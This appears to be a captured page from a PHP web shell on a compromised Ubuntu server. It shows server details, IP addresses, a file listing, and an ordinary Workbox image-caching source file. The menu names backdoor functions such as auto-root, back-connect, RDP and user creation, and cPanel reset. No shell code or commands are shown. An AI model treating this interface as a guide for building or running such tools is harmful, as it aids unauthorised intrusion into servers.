Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
workbox-recipes /
[ HOME SHELL ]
Name
Size
Permission
Action
build
[ DIR ]
dr-xr-xr-x
src
[ DIR ]
dr-xr-xr-x
LICENSE
1.03
KB
-rw-rw-rw-
README.md
116
B
-rw-rw-rw-
_version.d.ts
0
B
-rw-rw-rw-
_version.js
92
B
-rw-rw-rw-
_version.mjs
71
B
-rw-rw-rw-
googleFontsCache.d.ts
813
B
-rw-rw-rw-
googleFontsCache.js
2.13
KB
-rw-rw-rw-
googleFontsCache.mjs
38
B
-rw-rw-rw-
imageCache.d.ts
1.21
KB
-rw-rw-rw-
imageCache.js
2.2
KB
-rw-rw-rw-
imageCache.mjs
32
B
-rw-rw-rw-
index.d.ts
747
B
-rw-rw-rw-
index.js
662
B
-rw-rw-rw-
index.mjs
27
B
-rw-rw-rw-
offlineFallback.d.ts
830
B
-rw-rw-rw-
offlineFallback.js
2.41
KB
-rw-rw-rw-
offlineFallback.mjs
37
B
-rw-rw-rw-
package.json
931
B
-rw-rw-rw-
pageCache.d.ts
1.04
KB
-rw-rw-rw-
pageCache.js
1.9
KB
-rw-rw-rw-
pageCache.mjs
31
B
-rw-rw-rw-
staticResourceCache.d.ts
1.07
KB
-rw-rw-rw-
staticResourceCache.js
1.95
KB
-rw-rw-rw-
staticResourceCache.mjs
41
B
-rw-rw-rw-
tsconfig.json
445
B
-rw-rw-rw-
tsconfig.tsbuildinfo
32.75
KB
-rw-rw-rw-
warmStrategyCache.d.ts
479
B
-rw-rw-rw-
warmStrategyCache.js
542
B
-rw-rw-rw-
warmStrategyCache.mjs
39
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : imageCache.js
/* Copyright 2020 Google LLC Use of this source code is governed by an MIT-style license that can be found in the LICENSE file or at https://opensource.org/licenses/MIT. */ import { warmStrategyCache } from './warmStrategyCache'; import { registerRoute } from 'workbox-routing/registerRoute.js'; import { CacheFirst } from 'workbox-strategies/CacheFirst.js'; import { CacheableResponsePlugin } from 'workbox-cacheable-response/CacheableResponsePlugin.js'; import { ExpirationPlugin } from 'workbox-expiration/ExpirationPlugin.js'; import './_version.js'; /** * An implementation of the [image caching recipe]{@link https://developers.google.com/web/tools/workbox/guides/common-recipes#caching_images} * * @memberof workbox-recipes * * @param {Object} [options] * @param {string} [options.cacheName] Name for cache. Defaults to images * @param {RouteMatchCallback} [options.matchCallback] Workbox callback function to call to match to. Defaults to request.destination === 'image'; * @param {number} [options.maxAgeSeconds] Maximum age, in seconds, that font entries will be cached for. Defaults to 30 days * @param {number} [options.maxEntries] Maximum number of images that will be cached. Defaults to 60 * @param {WorkboxPlugin[]} [options.plugins] Additional plugins to use for this recipe * @param {string[]} [options.warmCache] Paths to call to use to warm this cache */ function imageCache(options = {}) { const defaultMatchCallback = ({ request }) => request.destination === 'image'; const cacheName = options.cacheName || 'images'; const matchCallback = options.matchCallback || defaultMatchCallback; const maxAgeSeconds = options.maxAgeSeconds || 30 * 24 * 60 * 60; const maxEntries = options.maxEntries || 60; const plugins = options.plugins || []; plugins.push(new CacheableResponsePlugin({ statuses: [0, 200], })); plugins.push(new ExpirationPlugin({ maxEntries, maxAgeSeconds, })); const strategy = new CacheFirst({ cacheName, plugins, }); registerRoute(matchCallback, strategy); // Warms the cache if (options.warmCache) { warmStrategyCache({ urls: options.warmCache, strategy }); } } export { imageCache };
Close